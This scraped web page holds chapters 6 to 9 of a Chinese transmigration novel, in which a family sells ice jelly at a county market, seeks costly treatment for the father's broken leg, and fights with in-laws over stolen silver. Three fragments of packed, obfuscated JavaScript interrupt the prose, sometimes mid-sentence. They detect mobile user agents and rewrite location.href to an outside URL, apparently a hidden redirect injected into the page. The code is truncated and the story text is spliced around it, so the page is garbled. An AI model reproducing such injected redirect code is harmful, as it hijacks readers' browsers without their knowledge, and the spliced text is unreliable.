l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229731|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年一百文还能买二十二斤粗粮呢,今年开春只能买二十斤,这会子粮税一出,今天只能买十八斤粗粮。”宁妈打开袋口,里面是一些糙米。 宁妈和宁爸曾经都是经历过苦日子的,十八斤粮食一个人吃饱能吃十天左右,四个人吃十天,只够饿不死。 “没事儿,再坚持一下就能修复花瓶了,卖出去咱们就先囤点粮!”赵启安慰父母。 两个大人只是略微发愁,孩子一打岔,宁爸立马就被其他东西转移了注意力。 下午宁妈带着两个孩子去河边清洗了新买的木桶和碗勺,回去挨个摆好晾干,赵宁宁钻回空间清点第二日去县城摆摊要带的东西。 晚饭是宁爸煮的粥,盛出来晾在一边,宁妈把分家分来的野菜给择了洗净,用水洗了陶锅,烧水焯了一下。 废水倒进破掉的红色塑料桶,再把陶锅烧热加油,简单炒了一道野菜。 家里连桌子都没有,赵宁宁把捡到的那个装水泥灰的小桶反过来,桶上铺上包花瓶的秋衣,秋衣虽然是旧的,但也是洗干净才丢的。 “桌子”和“桌布”都有了,宁妈把菜放桌上,一家人拿着筷子开吃。 吃完饭各自收拾好,宁爸守着泥炉烧明天摆摊要用的水,赵宁宁在一家子期待的目光中召唤出系统面板。 探索区域还是只有新苑小区,赵宁宁点点【可探索】,系统蹦出来一个提示: 【系统:技能冷却中,请稍后再试。】 看来全家人的金手指都有冷却期,赵宁宁唉了一声,从空间掏出纸盒扇子分给家人,麻溜地去睡觉了。 第二日一早,其他人还在梦里的时候,宁爸便起来去将陶锅里的凉水往小木桶里倒。陶锅太小,昨天晚上他烧了两锅,怕不够用,临睡之前又烧了一锅晾着。 趁几人还没起,他把最后一锅用来混石灰水的烧上,点完火之后,宁妈才醒过来。 见宁爸烧上水,宁妈也跟着起来收拾,赵宁宁昨天晚上就把今天要用到的冰粉籽给拿出来放在干净的桶里,等宁妈拾掇好,宁爸已经洗净手在一边搓上冰粉了。 同住一间房里,细细碎碎的干活声在清晨尤为明显,两个孩子没多会也醒过来,赵宁宁系数好后,从宁爸手里接过活计,搓个差不多,才把冰粉籽从袋子里倒出来,仔细收集到垃圾袋里。 宁妈把准备好的澄清石灰水拿来,赵宁宁一边往小木桶里倒,一边用大木勺搅,感觉差不多,方才停下,让冰粉慢慢凝固。 赵启和赵宁宁一起抬着箩筐,宁妈提着最重的小木桶,走在最后面的宁爸把门仔细锁好,趁大院里没其他人起来,几人赶快往村头走。 村里的牛车已经走了,但其他村子还有车,宁爸瘸着一条腿带着妻儿沿着土路走了一里地,在隔壁村搭上了去县城的牛车。 一路晃晃荡荡,总算是赶在晌午之前到了县城。 牛车停在县城门口,宁妈先行下车,扶着宁爸下车。 县城有着一道高高的城墙,墙门之下挂着一个巨大的牌匾,繁体字,赵宁宁辨认了一下,问赵启:“哥,你看那俩字是不是丰宁县。” “那是仨字!”赵启顺着赵宁宁的视线看过去,旋即回答:“是的,这里的字跟咱们学文言文接触到的繁体字差不多。” 起码一家几口在这个古代还不算太文盲,几人提着东西,随着人群往县城门口走。 古朴厚重的两扇大门前,站着几名衙役,每个进入县城的人都要检查户籍,查验无误后,要看人携带的东西,最后还要一人交两文钱。 分完家后赵宁宁一家四口的信息都在一张纸上,上面还盖有丰宁县官服的印章。 交完钱,宁爸给宁妈指了路。 县城大致分为东市和西市,县衙靠近东市,那边正规一些,摆摊是有固定位置的,每个摊位要交二十文,可以从早摆到晚,位置先到先得。 西市则不同,西市有早市是免费摆摊的,但是早市八点就结束了,后面的时间都是要收费的,摆摊费用只要十五文,但稍微乱一点。 宁妈想都不想,提着木桶就朝东走,“走,去东市!” 几人跟着她一起走,丰宁县不大,走了二十来分钟就到了东市那条街的街口,街口处就有衙役在收钱,见几人提着桶拎着筐,显然是来摆摊的,直接拦下。 第7章 卖冰粉 宁妈放下木桶交钱,衙役点好数后,递来一个木牌,上面雕有花纹和数字,见宁妈好奇地看,衙役还很有耐心地嘱咐宁妈收摊的时候还回来。 木牌由宁妈收好,几人或拿或抬,一起往街道里走。 他们来得晚,大部分好位置都被人给占了去,赵启脚程快,往前跑了一段,在两个摊子中间才找到一小块摆摊的地方。 其实也不用多大的地儿,能站得下人就行,左边是一个卖饼子的妇人,右边是半面围起来的板子,板子那头是人家食肆的。 打过招呼后,宁妈把东西往地上一放,从箩筐里挨个往外拿东西。 赵宁宁趁机看了一眼木桶内的冰粉,凝固的刚刚好。 几人早上都还没有吃饭,一路走来又累得不行,宁妈干脆派赵启去其他摊子上买两碗汤,又在旁边摊位买了四张卷饼。 卷饼是用二合面做的,里面夹了咸菜丝,赵宁宁三两口吃完,又分得了半碗甜汤,整个人都精神起来。 吃完饭,宁妈让宁宁用干净碗盛了一碗冰粉出来,端着去旁边摊位打听。 妇人推拒几下端着吃了,不住地夸赞宁宁做的冰粉好吃。 见她们只提了几个桶,没有炉子,看样子是做冷食生意的,跟自家不抢生意,妇人对宁妈和和气气地,宁妈只要问,她就挑着能说的说了。 这条街附近住的大都是丰宁县小有资财的人家,且离县衙近,往来县衙的人都爱来这边买吃食。 妇人叫曹凤春,家住在县城东北边,因着手艺不错,所以平日里出来摆摊卖些卷饼贴补家用。 刚刚宁妈买的是她小摊上最普通的卷饼,她卖的种类很丰富,价位从低到高都有。最高价的卷饼7文一张,里面卷的是肉。 这里除了离县衙近,距县学也近,中午那些学子有时会出来吃饭,所以东西有贵几文的也不用发愁销路。 宁妈听着,不住点头。 回来她跟宁爸说:“还好选了东市,这边人流量大,来往的人也有钱一些。关键是东市有县衙的人看着,没有地痞流氓干扰。” 他们一家子小的小病的病,最怕的就是这些。 “小启,你来跟我去抬一桶水回来。”宁妈招呼。 他们的小摊位只有二十只碗,待会摊子支起来之后要有净水刷碗的,刚刚打听消息的时候,宁妈就顺道打听好这附近卖井水的地方了。 “哎呀,忘记买盆了,等会得买两个刷碗的盆。”宁妈提着桶还没走两步,一拍大腿,回来又多拿了些零钱,这才走远了。 等看不见她的背影,赵宁宁回到摊位上,从箩筐里拿出来家里唯一一张好板凳,安排着老爸坐下。 冰粉不像其他吃食一样能飘香,有路人过路也不会过多停留,赵宁宁吆喝了一会,见没人停脚,心念一转,她打开桶盖从桶内盛出来一碗,精心撒上去小料,中间浇上浓缩红糖浆。 这样一份摆盘精致的冰粉完美出炉,赵宁宁把桶盖盖回去,把冰粉搁在上面。 “小娘子?这是何物?” 冰粉刚摆出来就有人咨询,赵宁宁抬头一瞧,是一个胖胖的青年,便带着笑意说:“客官您好!这叫‘冰粉’!五文钱一碗,是道甜食,吃了凉快,因着看上去像是冰块做的,所以取名叫冰粉。” 其实里面是要加冰的,但是古代的冰贵得普通人家不敢肖想,所以赵宁宁老早就想好了其他卖点。 见第一个顾客还有些犹豫,赵宁宁忙卖力地推销:“您看这上面撒了葡萄干、花生碎、熟芝麻、山楂碎,还浇了红糖浆,满满一大碗料又足又解暑,买来吃还能垫垫肚子!” 胖青年擦了擦额角流下来的汗,点头:“成!给我来一碗吧。” 赵宁宁把样板冰粉端一边,麻溜地用木勺从桶里盛出一碗颤巍巍的冰粉,盖好桶盖后,挨个加入小料,最后浇上一匙红糖浆,连着勺子一起放碗里,递给青年。 青年接过的同时,把数好的五文钱递给赵宁宁。 摊位前有阴凉,他就站在旁边吃,甫一入口,他便觉得一丝甜意和香味蔓延开,囫囵嚼了两下咽下,凉意顺着喉管直达心底。几口下去,他原先拧着的眉心散开了愁意。 一碗冰粉的份量不多,他狼吞虎咽地吃下,舒爽地叹了口气,从怀里摸出帕子擦擦嘴,青年伸手把空碗还给赵宁宁,不住地夸赞:“好吃!解暑!小娘子明天还来吗?” “来!包来的!”赵宁宁故意喊得声音大极了,过往的行人顺着这道嗓门儿看过来,见到有人在这家摊位留步,纷纷停住。 家里不缺钱想尝鲜的,自然留步观望,大方一些的直接解开钱袋就要买一碗吃。 还有想打包外带的来咨询,赵宁宁边答边忙活着往外盛冰粉,宁爸在一边打招呼收钱。 宁妈回来的时候看到摊子围了好几个人,还以为走错地儿了,定眼看过去,赵宁宁正在给客人盛冰粉,这才放下心。 提着水挤进去,宁妈把水桶放到墙角,连忙前去帮着招呼生意。 宁爸退到后面,赵启正往刚买的木盆里倒水,见状,他连忙从儿子手里接过来,一屁股坐在板凳上,“我来我来,你去前面给她们帮忙。” 赵启去帮着收钱,赵宁宁加小料,宁妈往外盛冰粉,一会的功夫,就卖出去二十来碗。 也就这一会的功夫了,最后一个人散了之后,到晌午才又迎来一波高峰期——县学的学子中午出来吃饭了。 看见有新鲜吃食,味道还不错,他们直接连碗一同买走,打包到其他有桌子的摊位一起吃,吃完回来还碗,赵宁宁还能把碗钱给退掉。 中间宁妈又去提了一桶水,买了十来个碗筷,这才顾得上生意,直到下午三点,赵宁宁搓出来的冰粉才卖完。 “总共卖出去了一共八十三碗。”宁妈把铜板一股脑放钱袋里系紧,另一边,赵宁宁和赵启正在往箩筐里收拾东西。 都收拾好后,宁妈先是去拜托旁边卖卷饼的曹娘子帮衬看着东西,带着孩子和宁爸去找城里的医馆。 既然冰粉有销路,那宁爸的腿就早点找地方去看一看,刚才得空的时候宁妈打听了,曹娘子家就住在县城里,县城人常去的有两家医馆。 城东就有一家老字号医馆,诊病最为详细公正,看诊和药材都要贵一些,县城的人不太爱去,除非是生的大病。 城南还有一家,里面诊金要的少一些,县城人去得最多的就是这家,这家医术尚可,多吃药慢慢就能好起来。 两家各有优劣,县城还有其他医馆,擅长的方向就比较杂了,有擅诊治妇人的,有擅诊治头病的……曹娘子想到还有一家,忙喊住要走的赵家一行人,“哎哎!周娘子!等一下!” 闻声,宁妈回头,“怎么了?” “刚刚忘记跟你们说,丰宁县还有一家小医馆,他们诊治这种腿伤也有几分本事的,就是……”曹娘子犹豫了一下,想着说出来也是多给赵家一个选择,还是如实告知:“就是他们诊治的手法有些痛,好些个病人能生生痛晕过去。” “谢谢曹娘子。”宁妈感激,她回身抓着曹娘子的手,细细问了地址之后才带着几人走。 既然在城东,他们决定先去城东看一看。 城东的医馆离仁和堂只有两条街,宁爸扶着宁妈,几个人没了赶集做生意的紧迫感,慢慢走在街上四处打量。 正经的古代街道哇!赵宁宁看得眼都发亮了,她之前可是很喜欢看古代穿越小说的,没想到有一朝这种奇事能轮到自家人身上。 不过跟电视剧里不太一样的是,这里并没有很高的楼栋,一路走过来,赵宁宁只看到了两三家三层以上的小楼,通过一楼的摆设和牌匾猜测,这几栋楼应该是丰宁县数一数二的大酒楼。 大酒楼突出一个大气古朴,除此之外,这条街其他铺子则是各有各的新奇,有卖伞的在店门口扎了一排撑开的伞,有卖布匹的在门口垂下长长几道彩布。 古人也有各自的巧思,目不暇接之中,赵宁宁一家人停在了一家店前面。 怕认错字,宁爸先是盯着牌匾读了一下,赵启点头之后,几人才往店内走。 迎面便有一阵艾草香味扑面,店内的正厅摆着几张八仙桌,后面是两位坐诊的大夫。一进门便有人引着过去排队。 宁爸被扶着上前,桌后的老者看到他瘸腿的样子,简单问诊之后,让其去一楼找王大夫。 原来这儿就是个分诊台,赵宁宁感到稀奇,店内小学徒引着几人往后走,绕过前厅,后厅的样子出现在几人眼前。 屏风将一大块区域整齐地隔开,里面摆着桌椅,大夫坐在里面,前面的条凳上坐了一排来就诊的病人,每个大夫旁边,都有一个学徒提着毛笔在写药方。 引路的人带着几人停到其中一间前面,拱拱手让他们在这稍等。 见这里的条凳还有空位,宁妈扶着宁爸坐上去歇歇。 不一会的功夫,前面几人看诊结束,轮到宁爸时,大夫让他伸手出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229732|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来号脉,左右手轮换过后,大夫问他:“你腿是怎么伤的?” 宁爸回想记忆里的场景,如实说出:“这条腿是被石头砸的。” 大夫起身,从桌后绕到前面,让宁爸把衣服撩起来,将受伤的地方露出来。 一条狰狞的血痂从小腿蔓延到膝盖,血痂四周微微发红,明显还在发炎。这两天因着各种事跑来跑去,宁爸的小腿此刻肿的像泡发了一般。 见到伤口这样,除了宁爸,另外三个眼圈直接红了起来。 “伤了一旬有余,里面的骨伤已经开始愈合,若不及时处理,长好之后怕是要一直这样了。”大夫说着,摇摇头,“想要恢复如初,须得将伤腿已经长好的地方给敲开,重新固定愈合。” 跟预想的治疗手段差不多,宁爸把衣服放下去,鞋子穿好,扭头问大夫:“大夫,治好大概要多少钱?” 大夫沉吟片刻,“十两银子。” 十两银子!宁爸听的眼都瞪大了,怪不得钱婆子不肯给他治腿呢!就算是换到镇上用便宜点的治法,也要花五六两银子。 钱可以想法子挣,给孩子爸治腿的事不能耽搁,宁妈按住宁爸想起身的肩膀,问道:“大夫,是从治疗,到吃药一共要十两银子吗?” 大夫点点头,含蓄地抚了胡子,“主要是一些药材不不便宜,他的腿,后面还要针灸半月。” 宁妈问:“我们家这两天银钱不凑手,能不能治疗一部分,给一部分的钱?” 大夫摇头,一旁的学徒说:“那不成,王大夫这是往少了算的。咱们也是为了病人好,否则那种给家里人治病治一半跑了的,我们留下人治也不是,不治也不是。” 最主要是,既然给人看病,就尽量把人给治好,否则治到一半病人跑了,出去说仁和堂医术不好,那不是砸自家招牌吗? 趁宁妈发呆的空档,宁爸扶着赵启的手起身,“谢谢王大夫,我们得回家再考虑考虑。” 王大夫没说什么,绕道到桌后坐下,从一旁拿了毛笔,提笔写下一个药方递来,嘱咐道:“这道药吃了可以消肿。” 看对方一家四口衣服上大补丁叠着小补丁的,看样子短期是没法子将钱凑齐,王大夫写完,摆摆手让学徒送人。 交了五十文的诊金,一家四口出来,赵宁宁问:“还去其他家看看吗?” 宁妈有些发愁,银钱不凑手可怎么办,她今天准许宁爸一起来县城,就是打着让宁爸直接把病看好的主意的。 “你爸的腿不能再拖下去了,宁宁,你陪着你爸坐牛车,咱们去其他店看看。”宁妈从钱袋里抓出一把铜钱塞给赵宁宁,让她带着宁爸坐县城里的牛车,她则是带着赵启一起往城南第二家医馆。 等宁爸和赵宁宁坐着牛车赶到时,宁妈脸色难看地从那家医馆出来,看到牛车要停在这儿,立马拦住车夫,对宁爸道:“咱们去第三家。” 车上还有其他人,车夫挨个将其他坐车的人送到各处,到街尾时停下,对宁爸说:“小哥,车只能给你送到这里了。” 宁爸道谢,起身被儿子慢慢扶着下车,宁妈在一旁把搭牛车的铜钱数出来付过去。 等牛车走远,宁爸才得空问宁妈:“媳妇儿,刚才怎么回事?他们为难你了?” 宁妈摇摇头,又点头:“那家也是……唉,不说了,还是得有银子。” 果然是因为钱不够的缘故,宁爸紧了紧扶着赵启的手,“没事儿,反正咱们生意能做好一阵子呢,明天我不来县城,在家多歇歇就好了。” 话是这样说,能早一日看病便早一日好么!宁妈拐着宁爸的手把他扶过来,四人慢慢沿着巷子走。 穿过巷子便能看到一条窄街,窄街两边皆是门头小了一大圈的店铺,赵宁宁想到刚才在牛车上打听到的消息,对宁妈说:“这条街是县里的老街,所以街道窄小一点,看着破旧,但这条街的店铺都是经营多年的老店。” “那家医馆也是,据说快是百年老店了。” 在这个平均寿命不到五十岁的古代,能将店铺经营成百年老店,医术肯定没什么大纰漏。 到店门口,宁妈扶着宁爸进去,迎门便是一个学徒,见有人进门,学徒停下手里碾药的动作,将滚轮放在一边拍拍手上沾的药粉,问:“你们是来看病的?” 宁妈问:“我们银钱不多,能一边治一边给银子吗?” 学徒正欲开口婉拒,后面风风火火走来一个年轻人。 “我看看伤口。” 第8章 银子被偷 来人没有第一时间拒绝,便意味着有戏,宁妈脸色一喜,扶着宁爸到一边的藤椅上坐下,帮着掀开衣服露出腿上的伤。 “这……”年轻人蹲下来,神色凝重地在宁爸伤腿上捏了一通,迟疑道:“你们确定后续能拿出银子来?” “能!”赵宁宁答应的干脆,对年轻人说:“小大夫,你就帮我爹看看吧!我家里是卖冰粉的,可好吃了!今天的已经卖完了,明天我给你带一碗过来让你尝尝!” 年轻人拱手,谦虚道:“小娘子客气了,你爹的腿上得早日处理,否则拖久了更难长好。” 既然可以看一步交一个铜板,宁妈也不再拖拉,把钱袋子摆上桌面,“今日带的铜板都在这里了,共五百文,明日的铜钱,我们明日摆完摊再来给。” “可以。”年轻大夫到柜台后,挽起袖子,提着毛笔在纸上写下一道药方,递给旁边的学徒,“去抓药。” “程大夫……”学徒捏着药方犹豫,看向程大夫时,程大夫正朝他摇头,催促道:“快去。” 宁爸的裤腿放下,整个人被大夫引到后院,这是给一些需要日日治疗的病人留出来的“病房”。隔间极小,胜在干净,赵宁宁发现,这里墙角还燃着艾草。 宁爸直接被留下,宁妈到床铺边给他铺床,床单和被褥虽然有些破旧,但都是干净的,细细闻去只有皂角的香味。 铺好床,赵启扶着宁爸坐在床上,宁妈从怀里拿出三十文钱给他,“今日赚的和前几日剩的钱刚刚花了五百文出去,剩的这几十文,给你拿一半,你留着买饭吃。” 宁爸应下,转头又关怀道:“你们还有钱吗?” “有。”宁妈把剩下的钱收好,坐在床边细细嘱咐宁爸。 不打扰父母说话,赵宁宁和赵启蹲在院子里盘点,今天顺利卖掉八十多碗的冰粉,还有时间给老爸找大夫,明天先备个一百碗左右试卖,如果销量好,过几日可以慢慢根据客流增减。 其实还有个法子,赵宁宁的空间可以利用起来,在家烧好水晾着放起来,如果要搓冰粉可以直接拿来用,届时只要在县城找个地方,片刻的功夫就能搓出来。 大概还能卖一千**百碗冰粉,赵宁宁算了个账,全部卖掉的银钱,大概能覆盖老爸治腿的费用,家里日常开支,还得另想办法。 宁妈安排好宁爸住下后,又去前面细细问了诊金和诊疗方法,跟第一家医馆说的差不多,宁爸的情况只能先喝两天药,等红肿消退,再将伤口处断开,让其按照正常位置生长。 这里的麻醉手段约等于无,一想到这个,赵宁宁给老爸点蜡。 日头不早,三人回到东市街口,从曹娘子那里道谢取回摆摊的家当,将木牌交还给街口衙役,几人抬着东西搭上回程的牛车。 劳累一天,几人中午又是对付着吃了一口,赵宁宁只想早点回家烧点水喝,没想到刚进老赵家的院门,便看到一妇人端着箩筐,在院中骂骂咧咧。 宁妈脚步一顿。 院门大开着,孙氏背对着门口,正一遍晒着野菜干,一边咒骂:“真是不知道天高地厚,刚分完家,一家子不知道野哪儿去了,门一锁地都不管了……” “喂!”宁妈放下手里的箩筐,示意两个孩子先往屋里抬。 听到背后传来人声,孙氏先是吓了一跳,手里的箩筐差点掀掉,转头看到是二房一家子,气不打一处来,怨怼道:“**的,叫唤什么叫唤!哟——” 她看见五丫头和三小子手里提的抬的一箩筐,转了转眼,说:“这是发财了怎么的?一下子买这么多东西?” “关你什么事?”宁妈怼回去,“二房现在可是分了家的,就算在外头捡了金疙瘩,都不关你们一个铜子儿的事。” 不过是买了些破盆烂桶,真当个宝了?孙氏把箩筐往院里架子上一搁,嚷嚷道:“几个破桶而已,真当我孙梅稀罕这几个玩意?别忘了,你们还欠着老赵家十两银子呢!” 说罢,阴恻恻地看向赵宁宁,赵宁宁又不真是八岁小孩,当即把桶往地上一撂,双手叉腰,“怎么?你想把我给拐去卖了?” 要不是这死丫头反抗,早就能把她送到镇上孙家去了,拿来的银子干什么不好?自家大宝也不至于这两天看不到银子,在家见天的闹腾。 宁妈不欲让小孩跟大人吵架,站到赵宁宁身前眯眼:“十两银子?” 见亲妈开始捋袖子,赵宁宁直接往她哥那边蹦了一下,亲妈要放大招了啊! 她向来是能动手绝不费口水,刚穿来那天早上,如果不是想着能趁势摆脱这一家子,宁妈才不会费尽心思跟这群黑心肝的豺狼周旋。 将手掌露出来,宁妈看了一眼,直接抡圆了膀子朝孙氏脸上甩过去。 一巴掌,“十两银子!” 两巴掌,“镇上孙家!” 左右对称之后,宁妈停下来,见孙氏脸上的指印慢慢浮现出来后,又扑上去补了两巴掌。 “你还有脸提这个?!今天不把你揍得满地找牙,我就不姓周!” “你!你打我!?”孙梅不可置信,“你竟敢打我?!” “打你?”宁妈冷笑,“早就想**松松手劲儿了,谁让你在这时间撞上枪口,滚!别碍我的眼,再敢肖想我们家宁宁一根手指,别怪我不客气!” “不过是一个贱丫头,把她送去孙家都算她高攀了,你凭什么……” 不等孙梅把话说完,宁妈深呼一口气,响亮的一巴掌抽过去,孙梅登时被这积攒了怨气的一掌给抽翻在地。 “别让我再听到你们打宁宁的主意,否则可就不是抽两巴掌这么简单了。”宁妈盯着地上的人,暗叹道:这具身体还是太弱了,搁在以前,一巴掌就能扇掉对方两颗牙,不行,还是要想法子补起来。 孙梅捂着发烫的脸,直接懵在地上。 不再理会她,宁妈绕过去,走到后院拿钥匙将门锁打开,赵宁宁放桶,赵启去舀水,很快烧起了小泥炉。 三人喝了水,歇了片刻,家里留赵启一人盯着火继续烧水,宁妈让赵宁宁把木桶连着箩筐一起收到空间里,母女二人结伴去河边打水。 傍晚的河边人比白天还要多,无他,实在是白日里太热了,村里人只能趁一早一晚过来取水用水,赵宁宁跟着宁妈走了好长一段路,才在河道拐角处,找到一个既能取水,又没有人的地方。 把箩筐放出来,赵宁宁蹲在窄小的“河”边洗碗,忍不住吐槽:“妈,这水也太少了……” “再不下雨的话,这边河道恐怕会断流。”宁妈挽起袖子把木桶按进河道里,幸好,河道深度还是有半个小孩高的,手臂按下去,桶够不到河底。 回想了一下,王李村、不,可以说整个丰宁县近三年来都没有怎么下过雨,如今河道未完全干涸还好说,万一哪天河道里都没水了,怕是会乱起来。 洗好碗后,赵宁宁挨个把每个碗都装上水,连同装好水的木桶一起放回空间。 回去之后,赵宁宁本来还担心大房会不会来找事的,毕竟自家亲妈白天可是刚打了人,没想到夜间钱婆子一声惊叫,前院又开始闹腾不停。 宁妈都想在后院砌一堵墙直接隔开两个院子,反正后院只有他们在住。 听到前院有动静,赵宁宁支窗户的同时也支起了耳朵。 堂屋。 钱婆子捧着钱匣子,重重往桌上一摔。 赵铁宝一惊,想到又不是自己拿了亲娘的钱财,随即往一边坐了坐,盯着大房一家。 屋内,脸还肿着的孙氏神色难看极了。 ——娘这是,冲着大房来的。 这样想着,孙氏不敢第一个开口去讨晦气,暗暗瞟了一眼旁边不作声的男人,孙氏暗恨,只得小心赔笑道:“娘,这是怎么了?” “真纳闷了!”钱婆子指着空荡荡的钱匣子说:“前日分家,我还打开来看过,这里面还有二两银子!” “今日再看,只剩几个铜板了!”钱婆子痛心疾首,这二两银子是摆在明面上的,她私下里还丢了一两的私房钱,总共三两银子,就这么没了! 听到这话,一直坐在角落里的钱老大坐不住了,起身的动静直接将小板凳带翻,他憨厚道:“娘!咱们家里遭贼了!?” “是遭贼了,遭的不是外贼,是内贼!”钱婆子气得头晕,“这二两银子可是娘辛辛苦苦攒下来的,还想着过几天农忙割半斤肉给你们好好补补,哪成想这白花花的银子竟直接没了!” “咱们家能来堂屋的就这几个人,能进到东屋的,一个巴掌都能数得清!” 说到这,屋里几人听不明白的也明白了,钱婆子的意思是,家里有人偷了她的银子! 赵铁宝着急道:“到底是谁干的!谁吃了熊心豹子胆,敢偷娘的银子!” 二两银子呢!割肉吃能吃个饱!还能扯几尺布做衣服,就这样被旁人偷走乱花掉了? 占不到便宜的赵老三急的跳脚,也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229733|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐在一边了,直接前去坐挨着亲娘,“娘,你一定要找出来是谁干的,让他吐出来这银子!” 还能是谁干的!钱婆子用眼神扫过去,若有所思的老三媳妇,脸色不好的老大媳妇,还有一脸严肃的老大…… 钱婆子开口问道:“大孙去哪了?” 忽然提点到赵文远,赵老大感到莫名,“娘?找小远作甚?他今儿下午去镇上了,说是之前的同窗喊他去赏画。” 同窗?别是那书肆家的女儿吧!老三媳妇想着,之前她回娘家的时候没少碰见过赵文远往书肆后院跑。 眼下也不用继续进学,他早就把之前学的东西全丢粪坑里了,这节骨眼哪来的同窗喊他? “哪来的同窗,之前怎么没听过?” 孙氏还没来得及思考怎么回答婆婆,院外传出动静。 “娘!娘?哎呀!怎么没给我留饭!不是说我今天晚上回来吃饭吗?!” 见堂屋还亮着,赵文远直接推开门,满脸春风得意之色,“怎么大家都在堂屋坐着,刚吃完饭吗?” “文远,你手里拿的是什么?” 钱婆子一问,所有人目光看向赵文远,只见他手里攥着一张纸,上面依稀写了字。 赵文远见别人看自己手里的东西,忙往袖子里塞塞,转移话题道:“不是什么重要东西,娘!没给我留饭吃吗?我不是说今天晚上回来吃饭吗?” 孙氏讪讪,她不好意思说,因为到饭点的时候赵文远还没回来,婆婆根本没让她多舀粮食,都是每人一碗稀饭打底,连块饼子都省不下来。 “小远……”孙氏想劝他先回屋别掺和这件事,没曾想坐在一边的赵老三看到赵文远袖子里的纸露出了个边缘,趁赵文远不备,直接冲过去扯了出来来。 赵铁宝夺过纸条之后,抖了抖打开,一看便愣在当场。 他是上过私塾的,是家里为数不多识字的人,那纸条上面字体娟秀,明显是女人写出来的字,竟是写了一首情诗! 赵文远白天的踪迹一目了然,他明显是找书肆家的姑娘了! 定睛再一看诗的内容,赵铁宝怒不可遏地说:“好啊!小远,原来是你拿了家里的银子!还给外人了!” 家里的银子向来都是偏帮三房花的,什么时候轮到赵文远拿去霍霍了! 听到赵老三的话,屋内所有人都惊呆了。钱婆子本来有所怀疑,但没想到竟然真的是大孙子偷了所有的银钱。 “你!你把银子给什么人了!”钱婆子痛心无比,那可是三两银子!够一家人嚼用好久了,你说拿银钱去买些吃喝的便罢了,他竟然是拿银钱给外人! 想到这里,钱婆子颤巍巍地伸出手。 眼看着奶奶抬起的巴掌要揍在自己的身上,赵文远忙按住前婆子的手安抚道:“奶,你先别打!听我解释!” “因着家里一直拖着没有给人家曹姑娘准信,她父母要将她许给别人家,我今日过去算是给了曹姑娘一个定心丸!只要咱们家将剩下的银子凑齐,她就能成您的孙儿媳妇了!” 听完这个解释,钱婆子那一巴掌还是落在了赵文远身上,只不过原先是准备打脸的,听完之后,她的巴掌落在了赵文远的背上狠狠地拍了几下。 钱婆子:“那可是家里最后剩的一点钱啊!” 平日里再怎么宝贝这个孙子,也不过是从钱箱子里拿出一点铜板给他买些吃食纸笔,他怎么能 赵文远仿佛也知道错了,勾着头扯着钱婆子的手,讨饶道:“奶……反正咱们家快要收粮食了,等秋收过去,咱们家凑齐银子就可以娶曹姑娘进门了,到时候她还会把银子给陪嫁带回来的。” 听到这话钱婆子倒是安心了些,她紧张地握住孙子的手,问道:“那曹姑娘收了钱之后是怎么说的?” 赵文远想了想,曹姑娘当时看到银子还推拒了一番,是自己强势塞过去,她最后没法子才收下的。 “她说……”赵文远复述:“等凑齐剩下的银子,她就把银子都拿出来,求他爹准许咱们两家的婚事。” 总的来说,这银子不算是白花了去。钱婆子再气也没办法,银子都已经到了别人家的手里,现在就算把孙子痛打一顿也收不回这二两银子。 如今迫在眉睫的是,家里一点余钱都不剩,而离秋收还有好一段时间。再加上要娶那曹姑娘,还需要再银子,家里处处都需要银子…… 钱婆子和孙氏心里同时想起来一个人。 五丫。 第9章 卖花瓶 她们两个可没有忘记,二房还欠着他们十两银子呢,这钱要一个月才能收回来。 如果孙家那边还要丫头的话,他们岂不是可以先把五丫带走给孙家……回头还能再向二房要10两银子。 一个恶毒的计划在两人心中油然而生。 二房这边。 做完明天摆摊的准备之后,赵宁宁一无所知地睡下,第二天一早,天还没亮她便从床上爬起来,精神抖擞地去烧水。 今天预计要卖一百多碗冰粉,要多烧一点凉白开备用。一大早宁妈就起来烧水了,见赵宁宁起来,她放下手里的柴火,回床上又稍微眯了一会儿。 赵宁宁烧好最后一锅水,顺便把早饭要吃的糙米粥煮好,用碗凉着放在空间。 见亲妈还没醒,她洗洗手,把冰粉籽倒进纱袋里先泡在凉水里。 喝了个粥的功夫,赵启也醒了,见妹妹都已经烧好水,赵启去洗漱,问她:“水都烧好了?” “嗯!昨晚你熬夜烧的水多,我今天早上烧了三锅便烧好了。”赵宁宁等哥哥洗漱好,把粥拿出来,两人就着屋内小炉子微弱的光线吃了早饭。 吃过早饭,赵启问赵宁宁要来碎掉的花瓶。 想到老哥要干什么,赵宁宁整个人都精神起来,钻进空间里小心拿出放在角落里碎成两半的花瓶,递给哥哥。 赵启接过后将花瓶放在地上,召出技能面板,选择目标对象,点击使用。 一阵白烟笼罩着花瓶,面板上的倒计时结束后,一个完整的花瓶出现在地上。 两人皆是松了口气,赵宁宁伸手轻轻拿起花瓶端详:花瓶样式是弦纹瓶,米色均匀地覆盖在瓶体上,瓶身绘制着一支曲折向上的桃枝,桃枝上挂了个硕大的粉色蜜桃,顶端还系着一个双铜钱挂件。 花瓶另一侧,还能看到延伸出去的桃枝,留白的地方绘有飞舞的蝙蝠。 